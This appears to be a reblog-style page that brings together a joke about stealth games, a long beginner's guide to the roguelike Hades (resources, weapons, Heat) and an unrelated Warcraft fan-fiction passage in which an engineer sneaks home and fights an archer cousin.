#stealth games are SO stressful the first time you play em

[ronamov]

The Hitman games are so stressful

[qm-vox]

So You Want To Play Hades

I spent six hours coming up with that title because I have problems in my mind which I refuse to either examine or resolve.

So, Hades! The latest work from Supergiant Games, who brought you the interactive soundtracks to Bastion, Transistor, and Pyre, all superb games in their own rights known for their intuitive gameplay, build-your-own-hard-mode difficulty style, incredible atmosphere and characterization, thought-provoking stories, and that sexy, sexy fuckin’ music.

Like, listen to this sometime it’s amazing (all of their soundtracks are available from them on Youtube, by the by, though if you like ‘em you can support the creators by buying the music from them directly too):

https://www.youtube.com/watch?v=uH3Aoj1nw58

You’re likely asking, quite reasonably, why in the infinite and undying fuck I’m writing this post right now, and the long and short of it is I want more people to talk Hades with so now y’all are gonna get hit with the sales pitch and what I hope will be a helpful beginner’s guide if you decide to get into the game. Let’s get into that first part, shall we?

Thou Shalt Subject Your Gods To Market Forces

(Image sourced from Supergiant’s website)

Hades is an action-roguelike/lite that places you in the role of Prince Zagreus, secret son of Hades. Zag is trying to move out of his father’s house and live somewhere else for awhile and, well, Dad’s just being an entire dick about the whole thing. Hades challenges you to face down the endless ranks of the dead one chamber at a time, gathering the resources you need to breach upward through the Greek underworld and open the mighty gates into the living world. You can acquire it on Steam or on the Epic Store.

How do you know if Hades is or isn’t for you? If you like action games with tight controls and widely varied playstyles, we’ve got you covered here (if you’re thinking in terms of previous Supergiant offerings, Bastion has the most bones in). Hades also offers a great character-focused narrative, centering around the relationships Zagreus has and develops with the people around him - from legendary shades like Achilles and Sisyphus, to the gods of Olympus, to the cthonic gods of the underworld like Charon, Nyx, and the Furies - which fully incorporates the conceits of the genre. Unlike many roguelikes which sorta quietly elide failed runs or deaths, Zag’s defeats are part of his journey. After all, he’s already in the underworld. Where the fuck else is he going to go when he dies? Connecticut?

Though I can gush about the characters and narrative all day (and I’ll do it a bit more later), don’t get me wrong: Hades expects you to perform some pretty tight mechanics. Since dying is just the end of this run and not the game, the game feels pretty free to take brutal measures; the environments you move in are full of deadly traps, the seething ranks of the dead outnumber you to vast degrees, and you’ll fight a dizzying mix of opponents who do not hesitate to catch you in cross-fires, push you into lava, or drop bombs when you kill them because fuck you for succeeding you weird godling bastard. If you get easily frustrated or flustered, Hades may be quite stressful for you; before it’s anything else, it’s an action game with a heavy focus on combat, and if you decide to ride this train that’s the price of the ticket. If you relish the challenge and especially if you like the satisfaction of watching your play improve, though, it’s one hell of a ride.

In terms of accessibility features, Hades is a mixed bag. It has subtitles and aim assistance available, as well as a variety of supported languages and control adjustments which can alter how you do things like dash or attack, but it’s missing, for instance, a colorblind mode (and that’s gonna be important here in a minute), and many enemy behaviors & traps have audio cues which are not part of the current subtitle support. A rumble feature for controllers that have it is supported; Hades strongly suggests the use of a controller, but I know several players who choose to use a mouse & keyboard and seem to prefer it. Semi-recently, a God Mode option was added which empowers you when it’s turned on and does so further every time you die; it’s the closest Hades comes to an ‘easy’ mode, and while reception of it from my fellow players has been highly positive I’ve not tried it for myself.

If you’ve liked action games in the past, I’d highly endorse giving Hades a try as long as it’s accessible for you. The current build of the game (just before formal release) is selling at $24.99 USD on Steam right now, and like...I am not a highly skilled Gaming Individual(tm). I lose at games a lot. I play most of my games on Easy or maybe Normal if I’m really feeling like my dick is big - and with that in mind, I loved this one enough to buy it twice. I love the tight feeling of the combat, the way the mechanics feel, its gorgeous environments and its captivating characters. Hell, that’s why I’m out here writing a whole-ass article.

Stealth, Guile, Subtlety, And Other Things You Will Not Need - Getting Started In Hades

(Artwork sourced from the Hades wiki)

So you’ve decided to acquire Hades, you already own it, or the first part of this article was intriguing enough for you to look at the advice portion and see what sort of game you could be dealing with. Hades can be intimidating at first; it throws a lot of stuff at you, very quickly, and while it gives you some strong guidance on what to do with many of the resources you’ll acquire not all of those uses are immediately intuitive. The following is a guide to help your first few runs go a bit more smoothly and work on the fundamentals that will help you through your entire experience.

Let’s start with some General Tips that will help you out with every run and every weapon:

- Relax. No, seriously: relax. You haven’t ‘failed’ a run if you don’t beat the final boss. Hell, you probably haven’t even ‘failed’ a run if you die in Tartarus. If you learned something or got any permanent resource - gemstones, darkness, nectar, keys, blood, diamonds, ambrosia - then that run was a success. Even if the game wasn’t currently early access and thus without a proper ‘end’ at the moment, it’s supposed to be fun. Don’t castigate yourself for dying, just dive screaming back in and rip your vengeance from the spectral chest of your slayer.

- Always Be Moving. You only have so many hit points (you start a save file with a max of 50 and the most you can start a given run with is 200) and healing is limited over the course of a run. If you’re standing still, you’re getting hit. Zag’s quick on his feet - keep him moving and use your dash liberally. Once you’ve dealt some damage, leave and let your enemies swing at empty air, then dash back in and bully them back into their graves. When you start a dash you’re invulnerable until the dash finishes, which can make for some real cheeky dodges once you’ve had time to learn enemy timing.

- Watch And Learn. Early on in the game you’ll be learning about new enemies every chamber, especially when you start transferring to new zones and all of the enemies you’ve been facing just stop being a thing. Take the chance to know your foe! You’re not on a clock: don’t leap into the fight immediately. Dash around and watch how your enemies move and attack. What’s the limitations of their tactics? The reach on their attacks? How fast do they swing and move? If you’d like to watch some of that stuff ahead of time, I’d like to suggest amber_cxc’s Twitch channel: she’s been doing a lot of runs and speedruns of Hades of late, among the other games she plays.

- Manipulate Your Rewards. Certain things in Hades can only be offered a limited number of times per run, and once you’ve hit your quota they stop appearing. You can take advantage of this to get more Boons, Centaur Hearts, and Poms of Power. Specifically, you can only have up to two Daedelus Hammers and up to three Hermes Boons. If you can knock these out early I highly endorse doing so; they’re never bad to have, and even if somehow you want none of what they have to offer getting them off the RNG will help you later. Additionally, you can use Keepsakes (more on these in a minute) to manipulate who you get Boons from, when, by changing in and out of them at each biome. In this way you can control the shape of your build for the run.

- Accept That Your Dick Energy Is Fucking Huge. A lot of games try to keep you humble. Dark Souls is infamous for it, of course, and others in this genre such as Crypt of the Necrodancer and Enter the Gungeon do not reward haste at all. That is not this game. Walk into Hades like you’re the lord god of the Big Dick Dimension even if you know you’re not; take risks and learn from experience how you can mitigate, manipulate, or cancel out those risks. That unearned confidence won’t just help you with tip one (Relax), it’ll help you practice in those high-pressure situations which will occur more and more as your Heat rises.

- A Brief Note On Projectiles. This game has a few kinds of projectiles that you’ll need to learn to identify. Balls and Arrows can be broken - hit them with an Attack and they pop and won’t hurt you. Waves cannot be broken; they travel fast along the ground and have to be dodged or deflected. Lasers can neither be broken nor deflected. Traps can’t be broken, and deflecting them doesn’t always make them safe for you; these include the lava balls in Asphodel, Inferno Bombs, and the shit spit out by Bothers and Pests. Know your foe and always be moving.

In terms of the resources you’re offered, there are broadly two kinds: in-run resources, and out-of-run resources. Let’s talk briefly about in-run ones.

- Boons: Boons are the powerful gifts of your Olympian relatives. They change how you play during your run by augmenting your abilities (like your Attack, Special, or Dash) or by offering passive benefits. In general, look at Aphrodite, Athena, or Dionysus if you want powerful defenses, Ares, Artemis, or Zeus for powerful attacks, and Poseidon and Demeter for a combination of damage and utility. Different gods will be good with different weapons, and we’ll get into that later. Boons have a Rarity and a Level; Rarity determines their starting power and how well they scale if they do scale, and Level is that scaling.

- Centaur Hearts: +25 max and current HP for this run. Do you like not dying?

- Poms of Power: Poms increase the Level of a Boon by 1, which generally makes it better at doing whatever it does. Not all Boons will level up, but the ones that you can attach to your Attack, Special, Cast, Dash, or Call always do. You do eventually hit diminishing returns with these, so you’ll generally want to spread the love around if you keep picking up Poms.

- Obols: DOLLAH DOLLAH BILLS Y’ALL. Obols are the coins preferred by Charon, the Ferryman, who will take them from you for goods and services. Obols can be turned into all other resources - even out-of-run resources. They’re almost always a great choice of investment.

These in-run resources are presented as potential rewards when you’re selecting chambers. I tend to run heavy on Boons and Obols myself, but your own play style is likely to differ! Experiment with the feel of acquiring various rewards and see what you like to invest in. After all, they’re only for the run you’re on; you literally can’t take it with you.

Out-of-run resources are used to permanently advance Zagreus’s power, his relationships, or both. They are as follows:

- Cthonic Keys: Used to unlock new weapons and new parts of the Mirror of Night. Once your weapons and Mirror are wholly unlocked these keys stop being useful more or less instantly, and can be safely traded at the Wretched Broker between runs to acquire Nectar (but see Gemstones, below).

- Gemstones: Early in the game, Gemstones can be traded in at the House Contractor between runs in order to enhance the underworld; in particular, they can be used to install fountain rooms, to open up access to Chaos and Erebus, to give you access to Infernal Troves (and upgrade said troves), and to add in-run resources to Keys, Nectar, and Gemstones. These services are in the first tab of the House Contractor and you should buy them out as soon as possible so that your runs can springboard off of these powerful additions. Once that’s taken care of, Gemstones can be used to renovate the House of Hades, including Zag’s bedroom and the lounge, again at the House Contractor.

- Nectar: The nectar of the gods is in short supply in the underworld, and is a treasured gift that Zagreus can offer to his friends. In most cases, the first time you give a character Nectar they will trade you a powerful Keepsake in return; these are run-altering tools you select at the start of each run and change how you play. Early on, spread the love, but once you’re full up on Keepsakes you can feel free to develop relationships through gift-giving however you see fit.

- Darkness: The power of Night is used to give permanent, powerful passive benefits to Zagreus via the Mirror of Night in his bedroom. I would suggest using Darkness to get your extra Dash and extra hit points before anything else, but once you’ve got those tools kinda fuck around and find out. Eventually a dialogue option with Nyx will unlock the flip side of the Mirror’s talents, which must be developed separately and cost even more Darkness; you’ll want lots of this and you’ll want it for a very long time. Oh, and try to save aside 8,888 Darkness for a rainy day. You’ll need it.

- Titan Blood: Offered by the first and last bosses at each level of Heat (more on Heat later). Titan Blood is used to upgrade your weapons, making them better at doing all of the things they do, as well as to unlock Aspects of those weapons. We’re still shy one Aspect as of the latest patch, so ah, don’t stop collecting this. You’ll always have a use for it.

- Diamonds: Offered by the second boss at each level of Heat. Diamonds are used to buy plot-relevant renovations to the House of Hades, to advance certain relationships, and to acquire the fishing minigame and in-game access to the soundtrack within the House. Like Blood, you’ll have a use for these for a long, long time.

- Ambrosia: Offered by the third boss at each level of Heat. When you reach the point at which you can no longer offer people Nectar, genuine Ambrosia from Olympus becomes the princely gesture by which you can show your gratitude. You may be tempted to trade this for Blood early on. Don’t.

When you’re starting out, Darkness and Gemstones will be the gods of your new world, followed closely by Cthonic Keys You’ll run out of immediate need for Gemstones faster than you will for Darkness, but by that time you’ll either be comfortable with Hades or you’ll have determined it’s not for you. Focus on unlocking access to your new weapons, upgrading the underworld itself, and paying off your talents; at this stage, escaping the underworld isn’t really a priority so much as setting up for your eventual triumph is.

And When You Can No Longer Lay Waste - Infernal Arms And Heat

(Artwork sourced from the Hades Wiki)

The assault rifle with under-slung mortar launcher is definitely my favorite ancient Greek weapon.

So I’ve mentioned unlocking weapons, and I’ve mentioned that Hades offers varied play styles, so I suppose I ought to talk about them. Zagreus’s weapons - his Infernal Arms - form the first layer of your play style choices, which will be augmented by your in-run choices, and the second layer comes in the form of the Pact of Punishment and its Heat. Each weapon has differing values for its attacks and behaves very differently. I’m not gonna give you the specific numbers here - we have a wiki for that - and will instead make some general statements on how they play and what might pair well with them.

- Stygius, the Blade of the Underworld: You start each save file with this bad boy. Stygius is a generalist weapon that leans somewhat towards speed; its Attack is a three-hit combo that ends in a Thrust with knockback, while its Dash Attack (note: these are not the same with ANY weapon) is solely the Thrust, still with knockback. Its Special, slower than the Attack, is a high-damage shockwave that breaks enemy projectiles and knocks them back. You might be asking yourself, Vox, why would I Special when it makes people leave sword range, at which point I will direct you back to Always Be Moving; your Special makes your enemies Go Away, which saves you hit points. Stygius can build into almost anything, though its Attack benefits the least from Zeus and Poseidon, and is notable for having the most wild fucking Hammer options. Some of them do little things like make your Special bigger, but then you get stuff like Hoarding Slash (deal extra damage equal to 5% of your Obols), World Splitter (you do one big swing with a base damage of 80) and motherfucking CURSED SLASH, which is where Stygius rips a line of cocaine off of a mirror, cuts your health by 60%, and then heals you for 2 every time you hit something. My advice for this is whatever you start down, commit. Stygius might build into anything, but it can’t build into everything: once you choose a boon path, pick things to compliment that and go fucking ham.

- Varatha, the Eternal Spear: The forgotten child of Hades’ weapons, Varatha is a versatile weapon that, like Stygius, does a bit of everything - and unlike Stygius, does it all at the same time. Varatha’s base attack is a series of three long-range thrusts with low damage, and its Special throws the spear in a straight line, at which point it hovers in the air until you Special again; it follows a straight line from its position to your current one, damaging anything in that line. Last, but not least, you can perform a powerful Spin Attack by holding down the Attack button and charging up. Spin is one of the strongest single hits in the game, but you do have to stop moving to charge it up. However, you can dash out of the charge - even better, dashing releases the Spin at the end of your dash. This means that once you learn the timings of your charges, you can use Spin to attack and dodge at the same time, in a wide circle around yourself. Unlike Stygius, Varatha benefits to an extent from splitting your build up; its Attack wants big hitters like Aphrodite, Artemis, or Poseidon, whose high multipliers pair amazingly with the spin, while its Special can mount debuffs or stranger forms of damage like those offered by Dionysus and Ares. If you start building into one thing, but then Hammer into an alternate focus, the end result is still going to be pretty cohesive. Like Generic Goodstuff, or want a weapon to use while building up many divine relationships? Varatha does it all.

- Aegis, the Shield of Chaos: Just because this thing has the only block function in the game doesn’t mean it’s a defensive weapon. Aegis is a fast-moving melee weapon whose hits cause native knockback, slamming foes into walls, up against cliffs, and through traps & magma. Since Aegis throws people around it’s great for a highly aggressive style; dash in, hit them, and watch them slide away before they can do damage back to you. Its Special throws the shield Captain America style, where it ricochets off of opponents and obstacles before eventually returning. Use this with care; you can’t attack or block while your Special is out. Holding down the Attack button begins to charge a Bull Rush; while you’re charging, you’re immune to damage in the direction the shield is facing, and then when you release you dash to the end of the indicated line, damaging anything you hit. Despite how sexy that sounds, Bull Rush is honestly kinda slow and can be hard to build for specifically; instead, Bull Rush is best used to get out of bad situations, or to outlast big long boss combos, especially those used by the first and second bosses who are known to spit out absolute STREAMS of projectiles. Aegis hits fast and gets lots of bonus damage against normal enemies by bullying them against walls for that sweet, sweet Wall Slam damage, but it craves big damage multipliers less than some other weapons; consider using Zeus, Dionysus, or Demeter for your Attack, saving big damage choices for if you can get a Dash Attack build going. Special is great for mounting utility like Aphrodite or Poseidon that let you control the engagement further, just remember to think before you hit the yeet button.

- Coronacht, the Heart-Seeking Bow: Meet your first ranged weapon! Coronacht deals damage in a straight line by charging up a shot; when your line flashes, release the shot for a Power Shot that deals extra damage. Its Special is...bad, I’m gonna be real; it’s a wide-sweeping volley of arrows that deal individually low damage and will rarely, if ever, hit the same target. Still, it has its uses. Coronacht benefits from either high damage or battlefield control on its Attack; look into Artemis, Aphrodite, Demeter, and Poseidon. Its Special is harder to build for, but Ares and Zeus both do well on it since they can cause damage out of proportion with the range and/or area of your volley. Play keep-away and use distance to get off those charge shots, and remember that you can break projectiles and hit multiple enemies with each attack. Avoid mounting odd damage (Ares or Dionysus) or utility (Athena) on your Attack; it’s not going to come out fast enough to take meaningful advantage of those tools.

- Malphon, the Twin Fists: Easily the angriest weapon in all of Hades, Malphon is a pair of massive fuck-off gauntlets that are used for fast-moving combos at extremely short range. It is unique in that its Attack has a Dash Attack, and its Special - a massive uppercut - has a dash upper, letting you sweep in and deal big damage in a tight area immediately. Though each of Malphon’s hits are individually small, it throws out so fucking many of them that you can put almost anything on your Attack and it’ll work out. Athena Attack? Why not, you’ll be swinging when the enemy is. Dionysus Attack? Poison stacking has never been easier! Artemis Attack? Sure, you don’t do a lot of base damage, but you swing so often that you’ll crit constantly and take advantage of passives like Support Fire. Your Special has much higher base damage and can easily become the focus of your build, and because it moves slower it wants bigger damage multipliers like Artemis or Aphrodite if it’s your focus. If it’s not your focus, consider Poseidon in its slot (to get enemies to Go Away) or a god that will combo with your Attack (for instance, if you’re doing Demeter Attack, consider Zeus Special so you can potentially pick up the Cold Fusion boon and get 10 seconds of free damage every time you tap the Special button). You pay a price for this ease of use: Malphon’s range is directly inside the enemy’s ass, which means you need to have razor-thin timing to dash out of the way of attacks and keep your combos going, especially if you get swarmed. Since Malphon can mount and build literally fucking anything, it’s the ideal weapon to use if you want to power-level Keepsakes; slap something on at the start of a run and then just never take it off. Sure, you’re letting the Three Fates decide your build, but fuck it, it all just works!

- The Adamant Rail: What if you invaded the underworld with a fucking machine gun. The Adamant Rail has an ammo counter; each Attack takes 1 bullet (and Dash Attack takes and fires 2), and you reload by pressing the right-hand stick in. Its Special is a slow-moving mortar that hits in a wide area. The Rail is a powerful and versatile weapon capable of engaging at great range, which tends to build either Attack or Special. If you’re building Special, look for big hits like Aphrodite, Artemis, or even Poseidon, and any Special upgrade at all from the Hammers. Attack usually wants utility or stacks - stuff like Poseidon, Demeter, Dionysus, or Zeus - but certain Hammer upgrades like Spread Shot might make it more worthwhile to invest in big hits for it if you get them early. However! Just because you’ve decided on a focus doesn’t mean you should neglect the other half of your weapon. For instance, an Attack-focused build might still entertain the Targeting System upgrade so that you can more easily land your hits and avoid the enemy, while a Special-focused one benefits from mounting debuffs like Weak or Chill on its Attack.

For any weapon, once you settle into a play style you enjoy, find ways to be rewarded for what you’re already going to do. If you enjoy, say, the Chiron Aspect for the bow which makes it into a Special-focused weapon, mount benefits like Doom or Weak on its Attack since you still have to use that to make your shit go-go. This applies more broadly too; if you’re saving up Gemstones for something, for instance, use the extra money you get during your run to visit the shops earlier and more often. Let Hades reward you for doing the things you already want to do.

To close this guide out I’m going to briefly touch on Heat, which is how Supergiant Games has manifested their signature build-your-own-hard-mode approach. After you clear the game with any weapon for the first time, you acquire access to the Pact of Punishment. This Pact lets you turn on hostile modifiers to your run, which each have a Heat value; once you clear the game with a weapon at any given level of Heat (0, 1, 2, etc) you can only get Titan’s Blood, Diamonds, and Ambrosia with that weapon by advancing to the next level of Heat. In this way the game gradually gets harder on a weapon-by-weapon basis.

So, what modifiers to turn on? Depends on what you’re good at and bad at, but I would highly, highly suggest that you get used to Extreme Measures, Middle Management, and Benefits Package as soon as possible. Not only are they sources of big Heat by themselves that don’t change too much of the run by themselves, but their primary difficulty is knowledge-based; once you know them, they’re practically free real estate. Since Heat is tracked per-weapon and not in total, you can also always go back to weapons you’re not as good with and use practice with them as an excuse to get more permanent resources that you can pour into the ones you prefer.

Obviously this guide is not comprehensive! I’ve left out a lot of things you might want to know, like boss patterns, enemy types, and a whole lot of stuff about characters. Some of these things I’ve not talked about because I don’t want to give spoilers; others I haven’t talked about because I’m, again, actually pretty bad at games and the Hades community has talented folks whose guides on Steam, on the Reddit, and on the wiki can provide you with thorough breakdowns of the math that makes the game work. Still, it’s my hope that this can ease your entry into the world of Hades and help guide you in those early runs when it can feel like you’re spinning your wheels. I look forward to hearing from you; reblogs and commentary are welcome!

See you all in Hell.

[edmund-valks]

A Family Reunion - Part I

Traveling the Ghostlands on foot was always an experience, and never the good kind.  Under the circumstances, a trip through the Nightwood was probably inadvisable, so she'd had to ask Miss Winford for the favour of a portal. Hopefully she'd be taking the Nightwood back, though.  Otherwise the trip home was probably wasted and returning to the Respite would take far longer than she'd planned for.

So far she'd had to kill several large spiders, one troll she regrettably had no way to collect pieces from, and a small batch of the angry dead.  Not the high-quality kind, thankfully, so it had barely dented her small stash of grenades.  The Scourge really only cared about numbers, not the craft, which was kind of upsetting on a personal level, even if she understood it from a waging-war-on-all-life perspective.

But that wasn't her problem.  Right now she had to decide the best way to approach her homeland, meaning the way that was least likely to get her killed.  The easiest paths were closed to her, and even the hard ways had little trinkets one could use to make them easier.  She had none.  She'd never needed them before, so she hadn't thought to palm a few during her previous visit.

Still.  Here she was.  The portal hadn't been a disaster, she was unharmed, and the western border of what Quel'thalas tried and failed to claim was before her.  That was the real danger, not stray nerubians or mummified trolls.  It was where her family lived and they were not fond of visitors.

Gear check, she thought.  Last chance to remember where everything is in an emergency.  One eye on the invisible line separating the Ghostlands from her childhood home, Ilandreline knelt down to make sure what she needed was where she'd find it.

Her family knife was on her belt, resting lightly alongside the leg of the coverall she'd worn.  That was the most important thing, but it was hardly her only weapon.  Two smaller knives of less sentimental value were stashed in the sleeves of her kodohide bike jacket, one in each.  There were four small grenades remaining: one frag, one smoke, two blinding.  She put the last two on her belt, opposite the ritual blade.  The others could stay in the satchel.

Everything else was boring: a change of clothes, food, water, a multitool, two half-pint jars of viscous purple liquid.  Oh, and that handy preparation Miss Winford had given her back in the Plaguelands.  She tucked the vial into one of her more accessible pockets.  Never knew when something like that would come in handy.

Content with her accounting and organization, Ilandreline took a few minutes more to arrange her bags and pack properly.  A lot of people didn't realize how easily you could die if you weren't willing (and able) to abandon your possessions.  Especially here.  She idly wondered how many of the elves over in Tranquillien had found that out.  There were only a few she remembered being brought in to join the Endless Dark, but the forest was hostile enough even before her family got involved.

Enough stalling.  With one more tug on the backpack's straps to get them just right, Ila squared her shoulders.  You can do this.  You've done it before.  Except before she wasn't trying to sneak in to talk to her grandmother.  Before she'd been sure the forest knew she belonged.  Before she hadn't been truly alone.

"Fuck 'em," she said aloud.  "Let 'em try and stop me."  She broke into a sustainable jog, waiting until the uncanny darkness had swallowed her before removing her goggles.  Some things could only be seen by the eyes of a Glimmerbow, and those were always the most dangerous.

***

Things had changed in the last fifty years.

The possibility hadn't really occurred to her -- planning wasn't exactly her strong suit -- and now she was regretting it.  What should have been an easy trip among undead patrols and the occasional angry shade had turned into a constant game of evasion and guerilla strikes to keep from being clobbered by angry bones.  Ila deeply regretted leaving her largest wrench at the farm; it was perfect for bashing skeletons into pieces.  It was also too heavy for extended use and detrimental to any attempt at stealth.

For the moment she was catching her breath in the lower branches of a tree.  What kind, she didn't know.  It was too twisted by local conditions to recognize unless you were really into trees.  Meaning her mother would know.  Not that Ilandreline had any plan on asking her about it, but… She sighed.  Wasn't there supposed to be some deep, unbreakable bond between mother and daughter?  She was fairly certain there was, but Mellura'thel must've missed the memo.  Unless it's my fault, I guess.  That wasn't a great thought, so she pushed it away.

Focus.  There were several shades she could see, drifting aimlessly through the trees.  Though they looked harmless, she knew they would either try to possess her or leech all the warmth from her body.  They didn't recognize family members, couldn't distinguish those who belonged from those who didn't.  Such an oversight seemed careless until one remembered their relatives were possibly more dangerous than whatever was in the woods.

A more traditional member of the family wouldn't be threatened by most of these creatures anyway.  Everyone had a basic knowledge of necromancy, at least enough to chastise an angry shade.  Even Ila could have managed it if she'd had any spark of magic; she knew enough theory to where she probably could have taught someone else how.  That wasn't an option, though, so here she was, perched in a tree, trying to figure out how to avoid dying to a distant cousin's creations.

Grenades weren't much use against the ethereal, nor were knives.  She could have probably cobbled together an ectoplasmic disruptor in her lab, but that wasn't much help in the present.  That left only a few workable options.  She processed them as she would any other list of branch-paths.

One: don't get seen or caught.  Pros: effective, requires no equipment.  Cons: really damn hard to manage, no backup if it went wrong.

Two: leave and go back to the Respite.  Pros: low risk, nicer people, could prepare and come back later.  Cons: lots of wasted time, would have to get close to either Silvermoon or the Argent Crusade, wouldn't actually help literally anything.

Three: sprint.  Pros: will be over fast one way or the other, exercise is good.  Cons: terrible idea even by her often questionable standards, likely to get her killed, would do nothing to address the threat of the area's living defenders.

None were great; she wasn't sure any were good.  Choosing between three flavours of awful wasn't ideal, but it had to be done.  Option Two was out, meaning… Option One, with Option Three as the contingency?  She grimaced, washed down some of her trail rations with a mouthful of water, and started mapping her route through the patrolling horrors.

The only good news was there wouldn't be any mechanical traps.  She hadn't installed them, therefore they didn't exist.  Magical traps, however, were almost a guarantee, along with mundane things like hunting snares.  Those were fine.  They were intended to take people alive, unlike everything before them.  Even if she got caught at that point, she could probably argue her way out of consequences.  Probably.

Committed to her decision, a path chosen, Ilandreline waited for the nearest shade to be safely distant before dropping back to the ground.  She rolled to ease the shock to her legs.  Just like when we were kids.  Then she was on her feet, moving with as much speed as she could manage in some kind of silence.

Most people assumed shades could hear as well as the average person.  More learned individuals knew their residing in an ethereal state left them cut off from such physical phenomena.  Both were wrong.  They could hear, but it was like through a heavy fog or maybe a blanket.  That meant you could get away with a certain amount of noise, just not being in their field of view.  Precisely what amount was a bit nebulous, but that's what made it so exciting.  Like when you weren't sure what kind of game you were playing or if the other kids had brought daggers without telling you.

She'd been very good at these games as a child, before she'd understood the stakes.  Nowadays she was better prepared; hopefully that would minimize the impact of being a bit rusty.  Sneaking around Ashenvale or Andorhal wasn't quite the same life-or-death situation as the family's summer night festivities.  Those experiences were why she kept her hair too short to get in her eyes, why she always wore something more form-fitting under her robes.  Why she always carried a knife, too.

That served her well now.  She avoided the first of the shades without incident and began picking her way through the next one's path.  Line of sight was a double-edged sword: she didn't want to be seen, but it also meant she couldn't be certain the entity was going where she expected.  Her heartbeat was louder in her ears than her footsteps, strong and rapid with the influx of adrenaline.  The effect warped time as well -- every moment without knowing where the shade was stretched into eternity, every one where it was visible infinitely shorter than needed.

But suddenly she was through the second ring, moving into what she hoped was still the last of the minion-patrolled sections.  In fits and starts she moved from tree to tree, barely breathing.  Her footsteps weren't silent, but light enough to avoid complications.  Somehow, some way, she didn't snap a branch or fall on her face.  The shiver of passing through the barrier came over her and… that was that.  The undead and shadow creatures were on the other side, couldn't sense her any longer.  Relief flooded her, premature though she knew it was.  Whatever happened next wasn't going to involve having her soul sucked out through her eyeballs or whatever.  Not without an argument, at least.

Exhaling all the stress and fear she hadn't been entirely conscious of, Ilandreline took a step forward, almost smiling for the half second she had before she felt the trap under her foot.  Despite instantly pulling her foot back, she wasn't fast enough to avoid the curl of wire going taut around her ankle.  Only the durable fabric of her jumpsuit and the fact she stopped moving immediately kept the sharpened filament from actually cutting into her ankle.  Swearing, she knelt down to check for a way to extricate herself without sawing off the whole foot.

The mechanism was simple -- it had to be since it was being made by Jaelenash, and he was a competent smith, not a good one -- but she needed to make sure whoever designed it wasn't smarter than she was.  For instance, if it was one of her traps, there'd be an obvious way to disarm it that would actually be a trap of its own.  Ila sighed, regretting on her family's behalf what they'd missed out on when nobody had taken her chosen profession seriously.  She pulled the multitool from its sheath on her belt, unfolding it to get what she needed.  Taking out the wire wasn't easy without causing damage, so she'd have to work on the frame holding everything together.  If she put the blade there and then twisted like so-

Thrum.

Her whole body went flat reflexively.  The razor-snare sheared through the canvas with the new motion, digging painfully into the flesh inches above her ankle, but at least the arrow missed.  It passed through where she'd been, so well-aimed she watched it pass directly overhead.  Black fletching, tiger stripes in alternating red and silver.  She knew those arrows.  "Put it away, Teth!  I'm here to see Grandmother!"

She heard quiet swearing, giving her the chance to snip the metal loop that had given her a bloody leg.  He didn't need to know that, though.  Ila peeked her head up from the undergrowth, looking for her distant relation.  Where was he hiding?  It wasn't clear he intended to stop trying to put arrows in her, so figuring where he was seemed important.  She slipped a decent length of the trap-wire into a pocket while she searched.  No reason to let it go to waste.

"You really going to kill a family member, Teth?  Particularly one who declared her purpose and just wants to see Grandmother?"  The answer was probably yes, but asking was polite.  The engineer eased her sight above the plant cover with trepidation, trying to watch every direction at once.

Once again her hearing saved her life.  She heard the bow creak as he drew the arrow back, could almost visualize the whole scene.  There you are.  Her roll started right before he loosed, giving plenty of space to the shot.  It would have been safest to stop behind the nearest tree, but she kept rolling sideways until she was at the one after.  Should give her a good angle.

"You're not family," he said, sounding annoyed.  Petulant, maybe?  "For all I know you're wearing that form to sneak in and kill us."

That was bullshit and he knew it.  Not because it hadn't happened -- it had, but back when Mellura'thel was still on her first (or was it second?) husband.  They'd fixed that gap in their defenses afterward.  The shades and the barrier were the result.  Pointing her mouth away from where she intended to be, she responded.  "Of course I'm family, we used to play hide and seek here.  You, me, our brothers and sisters.  How is your sister, anyway?  She still got that fungal thing in her leg?"  That earned her another arrow, but it was way off the mark.  Grinning to herself, she scurried toward another hiding space.

Closer, not yet close enough.  She knew where Teth was, even if she couldn't remember his full name.  He didn't seem to realize she was more behind him than in front.  Good.  Gave her time to figure out what the correct social response was under the circumstances.  It was considered very rude to kill someone for doubting you were family, but did that apply here?  He knew she was.  Hell, he'd given her brother a scar, and their sisters had been engaged briefly.  So he definitely shouldn't be killing her, but did that mean she had to keep him alive?  Probably.  Again, rude to kill family, regardless of circumstance.  She sighed silently.

"Don't you dare talk about my sister," he growled, treading carefully through the knee-high brush.  As she watched, he abruptly shifted direction, apparently curving around something.  Interesting; another trap, if she had to guess.  "Your whole family lost that right years ago."

What?  Oh, right!  She'd forgotten how that engagement had ended.  It hadn't been pretty.  Unless she was misremembering, that had been when his little brother had died.  Not a big loss, to her mind, but he probably felt otherwise.  Although that did give her an idea…  "Fine, fine.  What about Glairien, then?  How's he doing?"

He spun suddenly, drilling an arrow dead center into the tree she'd skipped over.  A quick assessment of his face suggested a pictorial reference for the phrase "contorted in rage".  Great, you pissed him off.  Could be for the best, though.  An angry person made mistakes a cooler head wouldn't.  "You'll die for that, Ilandreline, as all of you should have back then!"

Diplomacy was definitely out.  Probably mentioning the dead brother wasn't the best idea, despite the effectiveness at getting a response.  That left one more thing to try before she could act freely.  "Oh, right, sorry.  I forgot."  She hadn't.  Glairien had been an absolute prick and if they hadn't killed him, someone else would have.  "You sure you want to piss off Grandmother, though?  You know how she gets when someone goes against her, and she's made it clear she's the only one who gets to decide if someone meets with her."

"I don't need her permission to defend my home.  She knows better than to get in Grandfather's way."

Ah.  So that was it.  The old game continued.  He -- so his whole family-group, most likely -- was on the other side.  No wonder his brother had been so awful.  She grabbed a length of fallen branch at the same time she pulled a blinding grenade from her belt.  Ila tossed both in quick succession, the first to make noise to get his attention (success!), the second to ruin his vision.  His scream after the detonation indicated it had worked.

She charged from her hiding spot, making more noise than intended.  He shot another arrow, blind as he was.  It wasn't even a bad shot, but it deflected off the reinforced shoulders of her jacket.  Committed as she was, Ilandreline didn't slow, gritting her teeth through the stinging pain in her leg from where the trap had cut her.

A better fighter might have performed some graceful or devastating maneuver to end the fight in a single blow.  What she did was execute a flying two-legged dropkick directly into his sternum.  His bow and breath departed in opposite directions from his body, which flew back.  Teth landed with a heavy thump and the sound of a thin covering giving way.  A split-second later there was another, wetter sound.  No screaming though, surprisingly.

